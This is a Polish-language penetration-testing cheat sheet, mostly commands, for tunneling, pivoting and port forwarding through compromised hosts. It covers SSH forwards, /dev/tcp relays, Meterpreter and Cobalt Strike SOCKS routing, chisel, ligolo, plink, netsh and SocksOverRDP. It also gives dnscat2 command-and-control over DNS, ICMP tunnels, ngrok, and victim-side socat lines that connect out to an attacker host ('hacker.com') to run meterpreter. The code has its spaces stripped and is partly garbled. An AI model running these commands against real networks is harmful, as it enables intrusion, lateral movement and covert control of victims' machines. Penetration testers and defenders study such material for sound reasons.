ICMP i SYN skany nie mogą być tunelowane przez proxy socks, więc musimy wyłączyć odkrywanie ping (-Pn) i określić skany TCP (-sT), aby to działało.
Bash
Host -> Jump -> InternalA -> InternalB
# On the jump server connect the port 3333 to the 5985mknodbackpipep;nc-lvnp59850<backpipe|nc-lvnp33331>backpipe# On InternalA accessible from Jump and can access InternalB## Expose port 3333 and connect it to the winrm port of InternalBexec3<>/dev/tcp/internalB/5985exec4<>/dev/tcp/Jump/3333cat<&3>&4&cat<&4>&3&# From the host, you can now access InternalB from the Jump serverevil-winrm-uusername-iJump
SSH
Graficzne połączenie SSH (X)
ssh-Y-C<user>@<ip>#-Y is less secure but faster than -X
Local Port2Port
Otwórz nowy port na serwerze SSH --> Inny port
ssh-R0.0.0.0:10521:127.0.0.1:1521user@10.0.0.1#Local port 1521 accessible in port 10521 from everywhere
ssh-R0.0.0.0:10521:10.0.0.1:1521user@10.0.0.1#Remote port 1521 accessible in port 10521 from everywhere
Port2Port
Lokalny port --> Skompromitowany host (SSH) --> Trzecia_skrzynka:Port
ssh-issh_key<user>@<ip_compromised>-L<attacker_port>:<ip_victim>:<remote_port> [-p <ssh_port>] [-N -f] #This way the terminal is still in your host#Examplesudossh-L631:<ip_victim>:631-N-f-l<username><ip_compromised>
Port2hostnet (proxychains)
Lokalny port --> Skompromitowany host (SSH) --> Gdziekolwiek
ssh-f-N-D<attacker_port><username>@<ip_compromised>#All sent to local port will exit through the compromised server (use as proxy)
Reverse Port Forwarding
To jest przydatne do uzyskiwania odwrotnych powłok z wewnętrznych hostów przez DMZ do twojego hosta:
ssh-idmz_key-R<dmz_internal_ip>:443:0.0.0.0:7000root@10.129.203.111-vN# Now you can send a rev to dmz_internal_ip:443 and capture it in localhost:7000# Note that port 443 must be open# Also, remmeber to edit the /etc/ssh/sshd_config file on Ubuntu systems# and change the line "GatewayPorts no" to "GatewayPorts yes"# to be able to make ssh listen in non internal interfaces in the victim (443 in this case)
VPN-Tunnel
Potrzebujesz roota na obu urządzeniach (ponieważ zamierzasz utworzyć nowe interfejsy) i konfiguracja sshd musi zezwalać na logowanie jako root:
PermitRootLogin yesPermitTunnel yes
sshroot@server-wany:any#This will create Tun interfaces in both devicesipaddradd1.1.1.2/32peer1.1.1.1devtun0#Client side VPN IPifconfigtun0up#Activate the client side network interfaceipaddradd1.1.1.1/32peer1.1.1.2devtun0#Server side VPN IPifconfigtun0up#Activate the server side network interface
Lokalny port --> Skompromitowany host (aktywna sesja) --> Trzecia_skrzynka:Port
# Inside a meterpreter sessionportfwdadd-l<attacker_port>-p<Remote_port>-r<Remote_host>
SOCKS
background#meterpretersessionrouteadd<IP_victim><Netmask><Session># (ex: route add 10.10.10.14 255.255.255.0 8)useauxiliary/server/socks_proxyrun#Proxy port 1080 by defaultecho"socks4 127.0.0.1 1080">/etc/proxychains.conf#Proxychains
Inny sposób:
background#meterpreter sessionusepost/multi/manage/autoroutesetSESSION<session_n>setSUBNET<New_net_ip>#Ex: set SUBNET 10.1.13.0setNETMASK<Netmask>runuseauxiliary/server/socks_proxysetVERSION4arun#Proxy port 1080 by defaultecho"socks4 127.0.0.1 1080">/etc/proxychains.conf#Proxychains
Cobalt Strike
SOCKS proxy
Otwórz port w serwerze zespołu nasłuchujący na wszystkich interfejsach, który może być użyty do przekierowania ruchu przez beacon.
beacon> socks1080[+] started SOCKS4a server on: 1080# Set port 1080 as proxy server in proxychains.confproxychainsnmap-n-Pn-sT-p445,3389,598510.10.17.25
rPort2Port
W tym przypadku port jest otwarty w hoście beacon, a nie w serwerze zespołu, a ruch jest wysyłany do serwera zespołu, a stamtąd do wskazanego hosta:port
Odwrócone przekierowanie portów Beacona jest zaprojektowane do tunnelingu ruchu do Serwera Zespołu, a nie do przekazywania między poszczególnymi maszynami.
Ruch jest tunnelowany w ramach ruchu C2 Beacona, w tym linków P2P.
Uprawnienia administratora nie są wymagane do tworzenia odwróconych przekierowań portów na wysokich portach.
rPort2Port lokalny
W tym przypadku port jest otwierany w hoście beacona, a nie w Serwerze Zespołu, a ruch jest wysyłany do klienta Cobalt Strike (a nie do Serwera Zespołu) i stamtąd do wskazanego hosta:port
./chiselserver-p8080--reverse#Server -- Attacker./chisel-x64.execlient10.10.14.3:8080R:socks#Client -- Victim#And now you can use proxychains with port 1080 (default)./chiselserver-v-p8080--socks5#Server -- Victim (needs to have port 8080 exposed)./chiselclient-v10.10.10.10:8080socks#Attacker
# Start proxy server and automatically generate self-signed TLS certificates -- Attackersudo./proxy-selfcert# Create an interface named "ligolo" -- Attackerinterface_create--name"ligolo"# Print the currently used certificate fingerprint -- Attackercertificate_fingerprint# Start the agent with certification validation -- Victim./agent-connect<ip_proxy>:11601-v-accept-fingerprint<fingerprint># Select the agent -- Attackersession1# Start the tunnel on the proxy server -- Attackertunnel_start--tun"ligolo"# Display the agent's network configuration -- Attackerifconfig# Create a route to the agent's specified network -- Attackerinterface_add_route--name"ligolo"--route<network_address_agent>/<netmask_agent># Display the tun interfaces -- Attackerinterface_list
Powiązanie agenta i nasłuchiwanie
# Establish a tunnel from the proxy server to the agent# Create a TCP listening socket on the agent (0.0.0.0) on port 30000 and forward incoming TCP connections to the proxy (127.0.0.1) on port 10000 -- Attackerlistener_add--addr0.0.0.0:30000--to127.0.0.1:10000--tcp# Display the currently running listeners on the agent -- Attackerlistener_list
#Create meterpreter backdoor to port 3333 and start msfconsole listener in that portattacker> socatOPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1TCP:127.0.0.1:3333
victim> socat.exeTCP-LISTEN:2222OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5#Execute the meterpreter
Możesz obejść proxy bez uwierzytelnienia, wykonując tę linię zamiast ostatniej w konsoli ofiary:
Utwórz certyfikaty po obu stronach: Klient i Serwer
# Execute these commands on both sidesFILENAME=socatsslopensslgenrsa-out $FILENAME.key1024opensslreq-new-key $FILENAME.key-x509-days3653-out $FILENAME.crtcat $FILENAME.key $FILENAME.crt>$FILENAME.pemchmod600 $FILENAME.key $FILENAME.pem
Połącz lokalny port SSH (22) z portem 443 hosta atakującego
attacker> sudosocatTCP4-LISTEN:443,reuseaddr,forkTCP4-LISTEN:2222,reuseaddr#Redirect port 2222 to port 443 in localhostvictim> whiletrue; dosocatTCP4:<attacker>:443TCP4:127.0.0.1:22 ; done# Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22attacker> sshlocalhost-p2222-lwww-data-ivulnerable#Connects to the ssh of the victim
Plink.exe
To jak konsolowa wersja PuTTY (opcje są bardzo podobne do klienta ssh).
Ponieważ ten plik binarny będzie uruchamiany na ofierze i jest klientem ssh, musimy otworzyć naszą usługę ssh i port, abyśmy mogli uzyskać połączenie zwrotne. Następnie, aby przekierować tylko lokalnie dostępny port na port w naszej maszynie:
echoy|plink.exe-l<Our_valid_username>-pw<valid_password> [-p <port>]-R<port_in_our_host>:<next_ip>:<final_port><your_ip>echoy|plink.exe-lroot-pwpassword [-p 2222]-R9090:127.0.0.1:909010.11.0.41#Local port 9090 to out port 9090
Windows netsh
Port2Port
Musisz być lokalnym administratorem (dla dowolnego portu)
netshinterfaceportproxyaddv4tov4listenaddress=listenport=connectaddress=connectport=protocol=tcp# Example:netshinterfaceportproxyaddv4tov4listenaddress=0.0.0.0listenport=4444connectaddress=10.10.10.10connectport=4444# Check the port forward was created:netshinterfaceportproxyshowv4tov4# Delete port forwardnetshinterfaceportproxydeletev4tov4listenaddress=0.0.0.0listenport=4444
SocksOverRDP & Proxifier
Musisz mieć dostęp RDP do systemu.
Pobierz:
SocksOverRDP x64 Binaries - To narzędzie wykorzystuje Dynamic Virtual Channels (DVC) z funkcji Zdalnego Pulpitu w systemie Windows. DVC jest odpowiedzialne za tunneling pakietów przez połączenie RDP.
Na swoim komputerze klienckim załaduj SocksOverRDP-Plugin.dll w ten sposób:
# Load SocksOverRDP.dll using regsvr32.exeC:\SocksOverRDP-x64> regsvr32.exeSocksOverRDP-Plugin.dll
Teraz możemy połączyć się z ofiarą przez RDP używając mstsc.exe, i powinniśmy otrzymać komunikat informujący, że wtyczka SocksOverRDP jest włączona, i będzie nasłuchiwać na 127.0.0.1:1080.
Połącz się przez RDP i prześlij oraz uruchom na maszynie ofiary plik binarny SocksOverRDP-Server.exe:
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
Teraz potwierdź na swojej maszynie (atakującego), że port 1080 nasłuchuje:
netstat -antb | findstr 1080
Teraz możesz użyć Proxifierdo proxyfikacji ruchu przez ten port.
Proxify aplikacje GUI Windows
Możesz sprawić, że aplikacje GUI Windows będą korzystać z proxy za pomocą Proxifier.
W Profil -> Serwery proxy dodaj adres IP i port serwera SOCKS.
W Profil -> Zasady proxyfikacji dodaj nazwę programu do proxyfikacji oraz połączenia do adresów IP, które chcesz proxyfikować.
Ominięcie proxy NTLM
Wcześniej wspomniane narzędzie: RpivotOpenVPN może również to obejść, ustawiając te opcje w pliku konfiguracyjnym:
Uwierzytelnia się w stosunku do proxy i wiąże lokalny port, który jest przekazywany do zewnętrznej usługi, którą określisz. Następnie możesz używać narzędzia według własnego wyboru przez ten port.
Na przykład, aby przekazać port 443
Username Alice
Password P@ssw0rd
Domain CONTOSO.COM
Proxy 10.0.0.10:8080
Tunnel 2222:<attackers_machine>:443
Teraz, jeśli na przykład ustawisz na ofierze usługę SSH do nasłuchiwania na porcie 443. Możesz się z nią połączyć przez port atakującego 2222.
Możesz również użyć meterpreter, który łączy się z localhost:443, a atakujący nasłuchuje na porcie 2222.
Ustanawia kanał C&C przez DNS. Nie wymaga uprawnień roota.
attacker> ruby./dnscat2.rbtunneldomain.comvictim> ./dnscat2tunneldomain.com# If using it in an internal network for a CTF:attacker> rubydnscat2.rb--dnshost=10.10.10.10,port=53,domain=mydomain.local--no-cachevictim> ./dnscat2--dnshost=10.10.10.10,port=5353
W PowerShell
Możesz użyć dnscat2-powershell, aby uruchomić klienta dnscat2 w powershell:
session-i<sessions_id>listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host
Zmień DNS w proxychains
Proxychains przechwytuje wywołanie gethostbyname w libc i tuneluje zapytania DNS tcp przez proxy socks. Domyślnie serwer DNS, który używa proxychains, to 4.2.2.2 (wpisany na stałe). Aby go zmienić, edytuj plik: /usr/lib/proxychains3/proxyresolv i zmień adres IP. Jeśli jesteś w środowisku Windows, możesz ustawić adres IP kontrolera domeny.
Root jest potrzebny w obu systemach, aby utworzyć adaptery tun i tunelować dane między nimi za pomocą żądań echo ICMP.
./hans-v-f-s1.1.1.1-pP@ssw0rd#Start listening (1.1.1.1 is IP of the new vpn connection)./hans-f-c<server_ip>-pP@ssw0rd-vping1.1.1.100#After a successful connection, the victim will be in the 1.1.1.100
# Generate itsudo./autogen.sh# Server -- victim (needs to be able to receive ICMP)sudoptunnel-ng# Client - Attackersudoptunnel-ng-p<server_ip>-l<listen_port>-r<dest_ip>-R<dest_port># Try to connect with SSH through ICMP tunnelssh-p2222-luser127.0.0.1# Create a socks proxy through the SSH connection through the ICMP tunnelssh-D9050-p2222-luser127.0.0.1
ngrok
ngrokto narzędzie do eksponowania rozwiązań w Internecie w jednej linii poleceń.
&#xNAN;Exposition URI są jak:UID.ngrok.io
Instalacja
Utwórz konto: https://ngrok.com/signup
Pobierz klienta:
tarxvzf~/Downloads/ngrok-v3-stable-linux-amd64.tgz-C/usr/local/binchmoda+x./ngrok# Init configuration, with your token./ngrokconfigedit
Możliwe jest również dodanie uwierzytelniania i TLS, jeśli to konieczne.
Tunneling TCP
# Pointing to 0.0.0.0:4444./ngroktcp4444# Example of resulting link: 0.tcp.ngrok.io:12345# Listen (example): nc -nvlp 4444# Remote connect (example): nc $(dig +short 0.tcp.ngrok.io) 12345
Udostępnianie plików za pomocą HTTP
./ngrokhttpfile:///tmp/httpbin/# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
Sniffing HTTP calls
Użyteczne do XSS, SSRF, SSTI ...
Bezpośrednio z stdout lub w interfejsie HTTP http://127.0.0.1:4040.
Tunneling internal HTTP service
./ngrokhttplocalhost:8080--host-header=rewrite# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/# With basic auth./ngrokhttplocalhost:8080--host-header=rewrite--auth="myuser:mysuperpassword"
ngrok.yaml prosty przykład konfiguracji
Otwiera 3 tunele:
2 TCP
1 HTTP z ekspozycją statycznych plików z /tmp/httpbin/